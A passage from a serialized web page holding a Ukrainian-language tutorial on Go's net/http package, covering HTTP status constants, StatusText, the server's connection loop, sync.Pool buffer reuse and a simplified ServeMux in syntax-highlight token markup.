StatusFound",[5557,27876,27815],{"class":5585},[5557,27878,27879],{"class":6134},"302\n",[5557,27881,27882,27885,27888],{"class":5559,"line":5794},[5557,27883,27884],{"class":23038},"    StatusSeeOther",[5557,27886,27887],{"class":5585},"          = ",[5557,27889,27890],{"class":6134},"303\n",[5557,27892,27893,27896,27898],{"class":5559,"line":5799},[5557,27894,27895],{"class":23038},"    StatusNotModified",[5557,27897,27837],{"class":5585},[5557,27899,27900],{"class":6134},"304\n",[5557,27902,27903,27906,27908],{"class":5559,"line":5807},[5557,27904,27905],{"class":23038},"    StatusTemporaryRedirect",[5557,27907,15023],{"class":5585},[5557,27909,27910],{"class":6134},"307\n",[5557,27912,27913,27916,27918],{"class":5559,"line":5813},[5557,27914,27915],{"class":23038},"    StatusPermanentRedirect",[5557,27917,15023],{"class":5585},[5557,27919,27920],{"class":6134},"308\n",[5557,27922,27923],{"class":5559,"line":5835},[5557,27924,5623],{"class":5585},[5557,27926,27927],{"class":5559,"line":5849},[5557,27928,5575],{"emptyLinePlaceholder":5574},[5557,27930,27931],{"class":5559,"line":5875},[5557,27932,27933],{"class":5647},"\u002F\u002F Помилки клієнта\n",[5557,27935,27936,27938],{"class":5559,"line":5881},[5557,27937,23031],{"class":5563},[5557,27939,5586],{"class":5585},[5557,27941,27942,27945,27947],{"class":5559,"line":5887},[5557,27943,27944],{"class":23038},"    StatusBadRequest",[5557,27946,27793],{"class":5585},[5557,27948,27949],{"class":6134},"400\n",[5557,27951,27952,27955,27958],{"class":5559,"line":5892},[5557,27953,27954],{"class":23038},"    StatusUnauthorized",[5557,27956,27957],{"class":5585},"                 = ",[5557,27959,27960],{"class":6134},"401\n",[5557,27962,27963,27966,27969],{"class":5559,"line":5898},[5557,27964,27965],{"class":23038},"    StatusForbidden",[5557,27967,27968],{"class":5585},"                    = ",[5557,27970,27971],{"class":6134},"403\n",[5557,27973,27974,27977,27980],{"class":5559,"line":5914},[5557,27975,27976],{"class":23038},"    StatusNotFound",[5557,27978,27979],{"class":5585},"                     = ",[5557,27981,27982],{"class":6134},"404\n",[5557,27984,27985,27988,27990],{"class":5559,"line":5919},[5557,27986,27987],{"class":23038},"    StatusMethodNotAllowed",[5557,27989,27815],{"class":5585},[5557,27991,27992],{"class":6134},"405\n",[5557,27994,27995,27998,28001],{"class":5559,"line":5925},[5557,27996,27997],{"class":23038},"    StatusRequestTimeout",[5557,27999,28000],{"class":5585},"               = ",[5557,28002,28003],{"class":6134},"408\n",[5557,28005,28006,28009,28011],{"class":5559,"line":5930},[5557,28007,28008],{"class":23038},"    StatusConflict",[5557,28010,27979],{"class":5585},[5557,28012,28013],{"class":6134},"409\n",[5557,28015,28016,28019,28022],{"class":5559,"line":5952},[5557,28017,28018],{"class":23038},"    StatusGone",[5557,28020,28021],{"class":5585},"                         = ",[5557,28023,28024],{"class":6134},"410\n",[5557,28026,28027,28030,28032],{"class":5559,"line":5966},[5557,28028,28029],{"class":23038},"    StatusPreconditionFailed",[5557,28031,27742],{"class":5585},[5557,28033,28034],{"class":6134},"412\n",[5557,28036,28037,28040,28043],{"class":5559,"line":5971},[5557,28038,28039],{"class":23038},"    StatusRequestEntityTooLarge",[5557,28041,28042],{"class":5585},"        = ",[5557,28044,28045],{"class":6134},"413\n",[5557,28047,28048,28051,28053],{"class":5559,"line":5977},[5557,28049,28050],{"class":23038},"    StatusUnsupportedMediaType",[5557,28052,27763],{"class":5585},[5557,28054,28055],{"class":6134},"415\n",[5557,28057,28058,28061,28063],{"class":5559,"line":5998},[5557,28059,28060],{"class":23038},"    StatusUnprocessableEntity",[5557,28062,27887],{"class":5585},[5557,28064,28065],{"class":6134},"422\n",[5557,28067,28068,28071,28073],{"class":5559,"line":6003},[5557,28069,28070],{"class":23038},"    StatusTooManyRequests",[5557,28072,27804],{"class":5585},[5557,28074,28075],{"class":6134},"429\n",[5557,28077,28078],{"class":5559,"line":6009},[5557,28079,5623],{"class":5585},[5557,28081,28082],{"class":5559,"line":6036},[5557,28083,5575],{"emptyLinePlaceholder":5574},[5557,28085,28086],{"class":5559,"line":6049},[5557,28087,28088],{"class":5647},"\u002F\u002F Помилки сервера\n",[5557,28090,28091,28093],{"class":5559,"line":6073},[5557,28092,23031],{"class":5563},[5557,28094,5586],{"class":5585},[5557,28096,28097,28100,28103],{"class":5559,"line":6079},[5557,28098,28099],{"class":23038},"    StatusInternalServerError",[5557,28101,28102],{"class":5585},"      = ",[5557,28104,28105],{"class":6134},"500\n",[5557,28107,28108,28111,28113],{"class":5559,"line":6084},[5557,28109,28110],{"class":23038},"    StatusNotImplemented",[5557,28112,27742],{"class":5585},[5557,28114,28115],{"class":6134},"501\n",[5557,28117,28118,28121,28123],{"class":5559,"line":6089},[5557,28119,28120],{"class":23038},"    StatusBadGateway",[5557,28122,28000],{"class":5585},[5557,28124,28125],{"class":6134},"502\n",[5557,28127,28128,28131,28133],{"class":5559,"line":6095},[5557,28129,28130],{"class":23038},"    StatusServiceUnavailable",[5557,28132,27837],{"class":5585},[5557,28134,28135],{"class":6134},"503\n",[5557,28137,28138,28141,28143],{"class":5559,"line":6118},[5557,28139,28140],{"class":23038},"    StatusGatewayTimeout",[5557,28142,27742],{"class":5585},[5557,28144,28145],{"class":6134},"504\n",[5557,28147,28148],{"class":5559,"line":6140},[5557,28149,5623],{"class":5585},[5348,28151,28152],{},[5205,28153,28154],{},"Функція для отримання тексту статус-коду:",[5464,28156,28158],{"className":5550,"code":28157,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Повертає стандартний текст для статус-коду\nfunc StatusText(code int) string\n\n\u002F\u002F Приклад\ntext := http.StatusText(404) \u002F\u002F \"Not Found\"\ntext = http.StatusText(201)  \u002F\u002F \"Created\"\n",[5236,28159,28160,28165,28182,28186,28190,28212],{"__ignoreMap":5472},[5557,28161,28162],{"class":5559,"line":5560},[5557,28163,28164],{"class":5647},"\u002F\u002F Повертає стандартний текст для статус-коду\n",[5557,28166,28167,28169,28172,28174,28176,28178,28180],{"class":5559,"line":5571},[5557,28168,5634],{"class":5563},[5557,28170,28171],{"class":5637}," StatusText",[5557,28173,5673],{"class":5585},[5557,28175,5236],{"class":5654},[5557,28177,6650],{"class":5567},[5557,28179,10276],{"class":5585},[5557,28181,16739],{"class":5567},[5557,28183,28184],{"class":5559,"line":5578},[5557,28185,5575],{"emptyLinePlaceholder":5574},[5557,28187,28188],{"class":5559,"line":5589},[5557,28189,27220],{"class":5647},[5557,28191,28192,28194,28196,28198,28200,28203,28205,28207,28209],{"class":5559,"line":5596},[5557,28193,5469],{"class":5654},[5557,28195,5663],{"class":5585},[5557,28197,8928],{"class":5654},[5557,28199,5268],{"class":5585},[5557,28201,28202],{"class":5637},"StatusText",[5557,28204,5673],{"class":5585},[5557,28206,6599],{"class":6134},[5557,28208,10276],{"class":5585},[5557,28210,28211],{"class":5647},"\u002F\u002F \"Not Found\"\n",[5557,28213,28214,28216,28218,28220,28222,28224,28226,28229,28232],{"class":5559,"line":5602},[5557,28215,5469],{"class":5654},[5557,28217,15023],{"class":5585},[5557,28219,8928],{"class":5654},[5557,28221,5268],{"class":5585},[5557,28223,28202],{"class":5637},[5557,28225,5673],{"class":5585},[5557,28227,28228],{"class":6134},"201",[5557,28230,28231],{"class":5585},")  ",[5557,28233,28234],{"class":5647},"\u002F\u002F \"Created\"\n",[7167,28236,28238],{"id":28237},"внутрішні-механізми-як-працює-nethttp-під-капотом","Внутрішні механізми: як працює net\u002Fhttp під капотом",[7759,28240,28242],{"id":28241},"_1-архітектура-сервера-концептуальна-діаграма","1. Архітектура сервера (концептуальна діаграма)",[5464,28244,28247],{"className":28245,"code":28246,"language":5469},[5467],"┌─────────────────────────────────────────┐\n│  http.ListenAndServe(\":8080\", handler)  │\n└─────────────┬───────────────────────────┘\n              │\n              ▼\n┌─────────────────────────────────────────┐\n│  net.Listen(\"tcp\", \":8080\")             │\n│  Створює TCP слухача                     │\n└─────────────┬───────────────────────────┘\n              │\n              ▼\n┌─────────────────────────────────────────┐\n│  for { conn, _ := listener.Accept() }   │\n│  Нескінченний цикл прийому з'єднань      │\n└─────────────┬───────────────────────────┘\n              │\n              ▼\n┌─────────────────────────────────────────┐\n│  go c.serve(ctx)                        │\n│  Нова горутина для кожного з'єднання     │\n└─────────────┬───────────────────────────┘\n              │\n              ▼\n┌─────────────────────────────────────────┐\n│  for { w, req, _ := c.readRequest() }   │\n│  Цикл читання запитів (keep-alive)      │\n└─────────────┬───────────────────────────┘\n              │\n              ▼\n┌─────────────────────────────────────────┐\n│  serverHandler{c.server}.ServeHTTP()    │\n│  Виклик вашого обробника                 │\n└─────────────────────────────────────────┘\n",[5236,28248,28246],{"__ignoreMap":5472},[7759,28250,28252],{"id":28251},"_2-життєвий-цикл-запиту","2. Життєвий цикл запиту",[5464,28254,28256],{"className":5550,"code":28255,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Псевдокод внутрішньої реалізації\nfunc (c *conn) serve(ctx context.Context) {\n    defer func() {\n        if err := recover(); err != nil {\n            \u002F\u002F Обробка panic\n            c.server.logf(\"http: panic serving %v: %v\", c.remoteAddr, err)\n        }\n        c.close()\n    }()\n\n    \u002F\u002F Цикл keep-alive\n    for {\n        \u002F\u002F 1. Читання запиту\n        w, req, err := c.readRequest(ctx)\n        if err != nil {\n            return \u002F\u002F З'єднання закрито або помилка\n        }\n\n        \u002F\u002F 2. Встановлення таймаутів\n        if c.server.ReadTimeout > 0 {\n            conn.SetReadDeadline(time.Now().Add(c.server.ReadTimeout))\n        }\n        if c.server.WriteTimeout > 0 {\n            conn.SetWriteDeadline(time.Now().Add(c.server.WriteTimeout))\n        }\n\n        \u002F\u002F 3. Виклик обробника\n        serverHandler{c.server}.ServeHTTP(w, req)\n\n        \u002F\u002F 4. Скидання буферів\n        w.finishRequest()\n\n        \u002F\u002F 5. Перевірка, чи треба закрити з'єднання\n        if !w.shouldReuseConnection() {\n            return\n        }\n\n        \u002F\u002F 6. Перехід у idle режим для наступного запиту\n        c.setState(StateIdle)\n    }\n}\n",[5236,28257,28258,28263,28292,28300,28321,28326,28368,28372,28384,28388,28392,28397,28403,28408,28435,28447,28455,28459,28463,28468,28491,28527,28531,28552,28587,28591,28595,28600,28628,28632,28637,28648,28652,28657,28672,28676,28680,28684,28689,28705,28709],{"__ignoreMap":5472},[5557,28259,28260],{"class":5559,"line":5560},[5557,28261,28262],{"class":5647},"\u002F\u002F Псевдокод внутрішньої реалізації\n",[5557,28264,28265,28267,28269,28271,28273,28275,28277,28280,28282,28284,28286,28288,28290],{"class":5559,"line":5571},[5557,28266,5634],{"class":5563},[5557,28268,5226],{"class":5585},[5557,28270,23916],{"class":5654},[5557,28272,18338],{"class":5585},[5557,28274,5909],{"class":5567},[5557,28276,10276],{"class":5585},[5557,28278,28279],{"class":5637},"serve",[5557,28281,5673],{"class":5585},[5557,28283,18853],{"class":5654},[5557,28285,16902],{"class":5567},[5557,28287,5268],{"class":5585},[5557,28289,18814],{"class":5567},[5557,28291,5949],{"class":5585},[5557,28293,28294,28296,28298],{"class":5559,"line":5578},[5557,28295,5741],{"class":5581},[5557,28297,21829],{"class":5563},[5557,28299,5641],{"class":5585},[5557,28301,28302,28304,28306,28308,28311,28313,28315,28317,28319],{"class":5559,"line":5589},[5557,28303,5838],{"class":5581},[5557,28305,5692],{"class":5654},[5557,28307,5663],{"class":5585},[5557,28309,28310],{"class":5637},"recover",[5557,28312,19305],{"class":5585},[5557,28314,5660],{"class":5654},[5557,28316,5695],{"class":5585},[5557,28318,5698],{"class":5563},[5557,28320,5701],{"class":5585},[5557,28322,28323],{"class":5559,"line":5596},[5557,28324,28325],{"class":5647},"            \u002F\u002F Обробка panic\n",[5557,28327,28328,28331,28333,28335,28337,28340,28342,28345,28347,28349,28351,28353,28355,28357,28359,28362,28364,28366],{"class":5559,"line":5602},[5557,28329,28330],{"class":5654},"            c",[5557,28332,5268],{"class":5585},[5557,28334,22578],{"class":5654},[5557,28336,5268],{"class":5585},[5557,28338,28339],{"class":5637},"logf",[5557,28341,5673],{"class":5585},[5557,28343,28344],{"class":5592},"\"http: panic serving ",[5557,28346,5720],{"class":5654},[5557,28348,6704],{"class":5592},[5557,28350,5720],{"class":5654},[5557,28352,5723],{"class":5592},[5557,28354,5305],{"class":5585},[5557,28356,21877],{"class":5654},[5557,28358,5268],{"class":5585},[5557,28360,28361],{"class":5654},"remoteAddr",[5557,28363,5305],{"class":5585},[5557,28365,5660],{"class":5654},[5557,28367,5623],{"class":5585},[5557,28369,28370],{"class":5559,"line":5608},[5557,28371,5884],{"class":5585},[5557,28373,28374,28377,28379,28382],{"class":5559,"line":5614},[5557,28375,28376],{"class":5654},"        c",[5557,28378,5268],{"class":5585},[5557,28380,28381],{"class":5637},"close",[5557,28383,5752],{"class":5585},[5557,28385,28386],{"class":5559,"line":5620},[5557,28387,22629],{"class":5585},[5557,28389,28390],{"class":5559,"line":5626},[5557,28391,5575],{"emptyLinePlaceholder":5574},[5557,28393,28394],{"class":5559,"line":5631},[5557,28395,28396],{"class":5647},"    \u002F\u002F Цикл keep-alive\n",[5557,28398,28399,28401],{"class":5559,"line":5644},[5557,28400,5802],{"class":5581},[5557,28402,5701],{"class":5585},[5557,28404,28405],{"class":5559,"line":5651},[5557,28406,28407],{"class":5647},"        \u002F\u002F 1. Читання запиту\n",[5557,28409,28410,28412,28414,28416,28418,28420,28422,28424,28426,28429,28431,28433],{"class":5559,"line":5686},[5557,28411,11000],{"class":5654},[5557,28413,5305],{"class":5585},[5557,28415,23646],{"class":5654},[5557,28417,5305],{"class":5585},[5557,28419,5660],{"class":5654},[5557,28421,5663],{"class":5585},[5557,28423,21877],{"class":5654},[5557,28425,5268],{"class":5585},[5557,28427,28428],{"class":5637},"readRequest",[5557,28430,5673],{"class":5585},[5557,28432,18853],{"class":5654},[5557,28434,5623],{"class":5585},[5557,28436,28437,28439,28441,28443,28445],{"class":5559,"line":5704},[5557,28438,5838],{"class":5581},[5557,28440,5692],{"class":5654},[5557,28442,5695],{"class":5585},[5557,28444,5698],{"class":5563},[5557,28446,5701],{"class":5585},[5557,28448,28449,28452],{"class":5559,"line":5732},[5557,28450,28451],{"class":5581},"            return",[5557,28453,28454],{"class":5647}," \u002F\u002F З'єднання закрито або помилка\n",[5557,28456,28457],{"class":5559,"line":5738},[5557,28458,5884],{"class":5585},[5557,28460,28461],{"class":5559,"line":5755},[5557,28462,5575],{"emptyLinePlaceholder":5574},[5557,28464,28465],{"class":5559,"line":5760},[5557,28466,28467],{"class":5647},"        \u002F\u002F 2. Встановлення таймаутів\n",[5557,28469,28470,28472,28475,28477,28479,28481,28484,28487,28489],{"class":5559,"line":5778},[5557,28471,5838],{"class":5581},[5557,28473,28474],{"class":5654}," c",[5557,28476,5268],{"class":5585},[5557,28478,22578],{"class":5654},[5557,28480,5268],{"class":5585},[5557,28482,28483],{"class":5654},"ReadTimeout",[5557,28485,28486],{"class":5585}," > ",[5557,28488,6195],{"class":6134},[5557,28490,5701],{"class":5585},[5557,28492,28493,28496,28498,28501,28503,28505,28507,28509,28511,28513,28515,28517,28519,28521,28523,28525],{"class":5559,"line":5794},[5557,28494,28495],{"class":5654},"            conn",[5557,28497,5268],{"class":5585},[5557,28499,28500],{"class":5637},"SetReadDeadline",[5557,28502,5673],{"class":5585},[5557,28504,20432],{"class":5654},[5557,28506,5268],{"class":5585},[5557,28508,23468],{"class":5637},[5557,28510,11043],{"class":5585},[5557,28512,17475],{"class":5637},[5557,28514,5673],{"class":5585},[5557,28516,21877],{"class":5654},[5557,28518,5268],{"class":5585},[5557,28520,22578],{"class":5654},[5557,28522,5268],{"class":5585},[5557,28524,28483],{"class":5654},[5557,28526,6878],{"class":5585},[5557,28528,28529],{"class":5559,"line":5799},[5557,28530,5884],{"class":5585},[5557,28532,28533,28535,28537,28539,28541,28543,28546,28548,28550],{"class":5559,"line":5807},[5557,28534,5838],{"class":5581},[5557,28536,28474],{"class":5654},[5557,28538,5268],{"class":5585},[5557,28540,22578],{"class":5654},[5557,28542,5268],{"class":5585},[5557,28544,28545],{"class":5654},"WriteTimeout",[5557,28547,28486],{"class":5585},[5557,28549,6195],{"class":6134},[5557,28551,5701],{"class":5585},[5557,28553,28554,28556,28558,28561,28563,28565,28567,28569,28571,28573,28575,28577,28579,28581,28583,28585],{"class":5559,"line":5813},[5557,28555,28495],{"class":5654},[5557,28557,5268],{"class":5585},[5557,28559,28560],{"class":5637},"SetWriteDeadline",[5557,28562,5673],{"class":5585},[5557,28564,20432],{"class":5654},[5557,28566,5268],{"class":5585},[5557,28568,23468],{"class":5637},[5557,28570,11043],{"class":5585},[5557,28572,17475],{"class":5637},[5557,28574,5673],{"class":5585},[5557,28576,21877],{"class":5654},[5557,28578,5268],{"class":5585},[5557,28580,22578],{"class":5654},[5557,28582,5268],{"class":5585},[5557,28584,28545],{"class":5654},[5557,28586,6878],{"class":5585},[5557,28588,28589],{"class":5559,"line":5835},[5557,28590,5884],{"class":5585},[5557,28592,28593],{"class":5559,"line":5849},[5557,28594,5575],{"emptyLinePlaceholder":5574},[5557,28596,28597],{"class":5559,"line":5875},[5557,28598,28599],{"class":5647},"        \u002F\u002F 3. Виклик обробника\n",[5557,28601,28602,28605,28607,28609,28611,28613,28616,28618,28620,28622,28624,28626],{"class":5559,"line":5881},[5557,28603,28604],{"class":5567},"        serverHandler",[5557,28606,7065],{"class":5585},[5557,28608,21877],{"class":5654},[5557,28610,5268],{"class":5585},[5557,28612,22578],{"class":5654},[5557,28614,28615],{"class":5585},"}.",[5557,28617,11839],{"class":5637},[5557,28619,5673],{"class":5585},[5557,28621,8909],{"class":5654},[5557,28623,5305],{"class":5585},[5557,28625,23646],{"class":5654},[5557,28627,5623],{"class":5585},[5557,28629,28630],{"class":5559,"line":5887},[5557,28631,5575],{"emptyLinePlaceholder":5574},[5557,28633,28634],{"class":5559,"line":5892},[5557,28635,28636],{"class":5647},"        \u002F\u002F 4. Скидання буферів\n",[5557,28638,28639,28641,28643,28646],{"class":5559,"line":5898},[5557,28640,11000],{"class":5654},[5557,28642,5268],{"class":5585},[5557,28644,28645],{"class":5637},"finishRequest",[5557,28647,5752],{"class":5585},[5557,28649,28650],{"class":5559,"line":5914},[5557,28651,5575],{"emptyLinePlaceholder":5574},[5557,28653,28654],{"class":5559,"line":5919},[5557,28655,28656],{"class":5647},"        \u002F\u002F 5. Перевірка, чи треба закрити з'єднання\n",[5557,28658,28659,28661,28663,28665,28667,28670],{"class":5559,"line":5925},[5557,28660,5838],{"class":5581},[5557,28662,9365],{"class":5585},[5557,28664,8909],{"class":5654},[5557,28666,5268],{"class":5585},[5557,28668,28669],{"class":5637},"shouldReuseConnection",[5557,28671,5641],{"class":5585},[5557,28673,28674],{"class":5559,"line":5930},[5557,28675,6331],{"class":5581},[5557,28677,28678],{"class":5559,"line":5952},[5557,28679,5884],{"class":5585},[5557,28681,28682],{"class":5559,"line":5966},[5557,28683,5575],{"emptyLinePlaceholder":5574},[5557,28685,28686],{"class":5559,"line":5971},[5557,28687,28688],{"class":5647},"        \u002F\u002F 6. Перехід у idle режим для наступного запиту\n",[5557,28690,28691,28693,28695,28698,28700,28703],{"class":5559,"line":5977},[5557,28692,28376],{"class":5654},[5557,28694,5268],{"class":5585},[5557,28696,28697],{"class":5637},"setState",[5557,28699,5673],{"class":5585},[5557,28701,28702],{"class":5654},"StateIdle",[5557,28704,5623],{"class":5585},[5557,28706,28707],{"class":5559,"line":5998},[5557,28708,5735],{"class":5585},[5557,28710,28711],{"class":5559,"line":6003},[5557,28712,5922],{"class":5585},[7759,28714,28716],{"id":28715},"_3-буферизація-та-пул-обєктів","3. Буферизація та пул об'єктів",[5348,28718,28719,28720,5226,28723,28726],{},"Go використовує ",[5205,28721,28722],{},"пул об'єктів",[5236,28724,28725],{},"sync.Pool",") для зменшення навантаження на GC:",[5464,28728,28730],{"className":5550,"code":28729,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Внутрішні пули (приблизна реалізація)\nvar (\n    bufioReaderPool sync.Pool\n    bufioWriterPool sync.Pool\n    responsePool    sync.Pool\n)\n\nfunc getReader(r io.Reader) *bufio.Reader {\n    if v := bufioReaderPool.Get(); v != nil {\n        br := v.(*bufio.Reader)\n        br.Reset(r)\n        return br\n    }\n    return bufio.NewReader(r)\n}\n\nfunc putReader(br *bufio.Reader) {\n    br.Reset(nil)\n    bufioReaderPool.Put(br)\n}\n",[5236,28731,28732,28737,28743,28756,28767,28778,28782,28786,28813,28839,28859,28874,28882,28886,28903,28907,28911,28933,28948,28963],{"__ignoreMap":5472},[5557,28733,28734],{"class":5559,"line":5560},[5557,28735,28736],{"class":5647},"\u002F\u002F Внутрішні пули (приблизна реалізація)\n",[5557,28738,28739,28741],{"class":5559,"line":5571},[5557,28740,23730],{"class":5563},[5557,28742,5586],{"class":5585},[5557,28744,28745,28748,28751,28753],{"class":5559,"line":5578},[5557,28746,28747],{"class":5654},"    bufioReaderPool",[5557,28749,28750],{"class":5567}," sync",[5557,28752,5268],{"class":5585},[5557,28754,28755],{"class":5567},"Pool\n",[5557,28757,28758,28761,28763,28765],{"class":5559,"line":5589},[5557,28759,28760],{"class":5654},"    bufioWriterPool",[5557,28762,28750],{"class":5567},[5557,28764,5268],{"class":5585},[5557,28766,28755],{"class":5567},[5557,28768,28769,28772,28774,28776],{"class":5559,"line":5596},[5557,28770,28771],{"class":5654},"    responsePool",[5557,28773,14556],{"class":5567},[5557,28775,5268],{"class":5585},[5557,28777,28755],{"class":5567},[5557,28779,28780],{"class":5559,"line":5602},[5557,28781,5623],{"class":5585},[5557,28783,28784],{"class":5559,"line":5608},[5557,28785,5575],{"emptyLinePlaceholder":5574},[5557,28787,28788,28790,28793,28795,28797,28799,28801,28803,28805,28807,28809,28811],{"class":5559,"line":5614},[5557,28789,5634],{"class":5563},[5557,28791,28792],{"class":5637}," getReader",[5557,28794,5673],{"class":5585},[5557,28796,8922],{"class":5654},[5557,28798,16698],{"class":5567},[5557,28800,5268],{"class":5585},[5557,28802,23988],{"class":5567},[5557,28804,18862],{"class":5585},[5557,28806,5314],{"class":5567},[5557,28808,5268],{"class":5585},[5557,28810,23988],{"class":5567},[5557,28812,5701],{"class":5585},[5557,28814,28815,28817,28820,28822,28825,28827,28829,28831,28833,28835,28837],{"class":5559,"line":5620},[5557,28816,5689],{"class":5581},[5557,28818,28819],{"class":5654}," v",[5557,28821,5663],{"class":5585},[5557,28823,28824],{"class":5654},"bufioReaderPool",[5557,28826,5268],{"class":5585},[5557,28828,10977],{"class":5637},[5557,28830,19305],{"class":5585},[5557,28832,27323],{"class":5654},[5557,28834,5695],{"class":5585},[5557,28836,5698],{"class":5563},[5557,28838,5701],{"class":5585},[5557,28840,28841,28844,28846,28848,28851,28853,28855,28857],{"class":5559,"line":5626},[5557,28842,28843],{"class":5654},"        br",[5557,28845,5663],{"class":5585},[5557,28847,27323],{"class":5654},[5557,28849,28850],{"class":5585},".(*",[5557,28852,5314],{"class":5567},[5557,28854,5268],{"class":5585},[5557,28856,23988],{"class":5567},[5557,28858,5623],{"class":5585},[5557,28860,28861,28863,28865,28868,28870,28872],{"class":5559,"line":5631},[5557,28862,28843],{"class":5654},[5557,28864,5268],{"class":5585},[5557,28866,28867],{"class":5637},"Reset",[5557,28869,5673],{"class":5585},[5557,28871,8922],{"class":5654},[5557,28873,5623],{"class":5585},[5557,28875,28876,28879],{"class":5559,"line":5644},[5557,28877,28878],{"class":5581},"        return",[5557,28880,28881],{"class":5654}," br\n",[5557,28883,28884],{"class":5559,"line":5651},[5557,28885,5735],{"class":5585},[5557,28887,28888,28890,28893,28895,28897,28899,28901],{"class":5559,"line":5686},[5557,28889,11758],{"class":5581},[5557,28891,28892],{"class":5654}," bufio",[5557,28894,5268],{"class":5585},[5557,28896,5989],{"class":5637},[5557,28898,5673],{"class":5585},[5557,28900,8922],{"class":5654},[5557,28902,5623],{"class":5585},[5557,28904,28905],{"class":5559,"line":5704},[5557,28906,5922],{"class":5585},[5557,28908,28909],{"class":5559,"line":5732},[5557,28910,5575],{"emptyLinePlaceholder":5574},[5557,28912,28913,28915,28918,28920,28923,28925,28927,28929,28931],{"class":5559,"line":5738},[5557,28914,5634],{"class":5563},[5557,28916,28917],{"class":5637}," putReader",[5557,28919,5673],{"class":5585},[5557,28921,28922],{"class":5654},"br",[5557,28924,8925],{"class":5585},[5557,28926,5314],{"class":5567},[5557,28928,5268],{"class":5585},[5557,28930,23988],{"class":5567},[5557,28932,5949],{"class":5585},[5557,28934,28935,28938,28940,28942,28944,28946],{"class":5559,"line":5755},[5557,28936,28937],{"class":5654},"    br",[5557,28939,5268],{"class":5585},[5557,28941,28867],{"class":5637},[5557,28943,5673],{"class":5585},[5557,28945,5698],{"class":5563},[5557,28947,5623],{"class":5585},[5557,28949,28950,28952,28954,28957,28959,28961],{"class":5559,"line":5760},[5557,28951,28747],{"class":5654},[5557,28953,5268],{"class":5585},[5557,28955,28956],{"class":5637},"Put",[5557,28958,5673],{"class":5585},[5557,28960,28922],{"class":5654},[5557,28962,5623],{"class":5585},[5557,28964,28965],{"class":5559,"line":5778},[5557,28966,5922],{"class":5585},[5348,28968,28969,28970,28973],{},"Це означає, що буфери читання\u002Fзапису ",[5205,28971,28972],{},"переробляються"," між запитами, замість створення нових.",[7759,28975,28977],{"id":28976},"_4-як-працює-httpservemux","4. Як працює http.ServeMux",[5464,28979,28981],{"className":5550,"code":28980,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Спрощена реалізація ServeMux\ntype ServeMux struct {\n    mu    sync.RWMutex\n    m     map[string]muxEntry\n    hosts bool \u002F\u002F чи є хост-специфічні шаблони\n}\n\ntype muxEntry struct {\n    h       Handler\n    pattern string\n}\n\nfunc (mux *ServeMux) Handle(pattern string, handler Handler) {\n    mux.mu.Lock()\n    defer mux.mu.Unlock()\n\n    \u002F\u002F Зберігаємо в карті\n    mux.m[pattern] = muxEntry{h: handler, pattern: pattern}\n}\n\nfunc (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {\n    \u002F\u002F Знаходимо найдовший збіг шаблону\n    h, pattern := mux.Handler(r)\n    h.ServeHTTP(w, r)\n}\n\nfunc (mux *ServeMux) match(path string) (h Handler, pattern string) {\n    \u002F\u002F Шукаємо найдовший збіг префіксу\n    var n = 0\n    for k, v := range mux.m {\n        if !pathMatch(k, path) {\n            continue\n        }\n        if h == nil || len(k) > n {\n            n = len(k)\n            h = v.h\n            pattern = v.pattern\n        }\n    }\n    return\n}\n",[5236,28982,28983,28988,28999,29010,29027,29037,29041,29045,29056,29064,29071,29075,29079,29114,29129,29146,29150,29155,29192,29196,29200,29232,29237,29259,29277,29281,29285,29322,29327,29339,29362,29382,29386,29390,29416,29431,29445,29459,29463,29467,29472],{"__ignoreMap":5472},[5557,28984,28985],{"class":5559,"line":5560},[5557,28986,28987],{"class":5647},"\u002F\u002F Спрощена реалізація ServeMux\n",[5557,28989,28990,28992,28995,28997],{"class":5559,"line":5571},[5557,28991,11991],{"class":5563},[5557,28993,28994],{"class":5567}," ServeMux",[5557,28996,11997],{"class":5563},[5557,28998,5701],{"class":5585},[5557,29000,29001,29004,29006,29008],{"class":5559,"line":5578},[5557,29002,29003],{"class":5654},"    mu",[5557,29005,14556],{"class":5567},[5557,29007,5268],{"class":5585},[5557,29009,14561],{"class":5567},[5557,29011,29012,29015,29018,29020,29022,29024],{"class":5559,"line":5589},[5557,29013,29014],{"class":5654},"    m",[5557,29016,29017],{"class":5563},"     map",[5557,29019,6192],{"class":5585},[5557,29021,6692],{"class":5567},[5557,29023,6689],{"class":5585},[5557,29025,29026],{"class":5567},"muxEntry\n",[5557,29028,29029,29032,29034],{"class":5559,"line":5596},[5557,29030,29031],{"class":5654},"    hosts",[5557,29033,19148],{"class":5567},[5557,29035,29036],{"class":5647}," \u002F\u002F чи є хост-специфічні шаблони\n",[5557,29038,29039],{"class":5559,"line":5602},[5557,29040,5922],{"class":5585},[5557,29042,29043],{"class":5559,"line":5608},[5557,29044,5575],{"emptyLinePlaceholder":5574},[5557,29046,29047,29049,29052,29054],{"class":5559,"line":5614},[5557,29048,11991],{"class":5563},[5557,29050,29051],{"class":5567}," muxEntry",[5557,29053,11997],{"class":5563},[5557,29055,5701],{"class":5585},[5557,29057,29058,29061],{"class":5559,"line":5620},[5557,29059,29060],{"class":5654},"    h",[5557,29062,29063],{"class":5567},"       Handler\n",[5557,29065,29066,29069],{"class":5559,"line":5626},[5557,29067,29068],{"class":5654},"    pattern",[5557,29070,16601],{"class":5567},[5557,29072,29073],{"class":5559,"line":5631},[5557,29074,5922],{"class":5585},[5557,29076,29077],{"class":5559,"line":5644},[5557,29078,5575],{"emptyLinePlaceholder":5574},[5557,29080,29081,29083,29085,29088,29090,29093,29095,29098,29100,29103,29105,29107,29110,29112],{"class":5559,"line":5651},[5557,29082,5634],{"class":5563},[5557,29084,5226],{"class":5585},[5557,29086,29087],{"class":5654},"mux 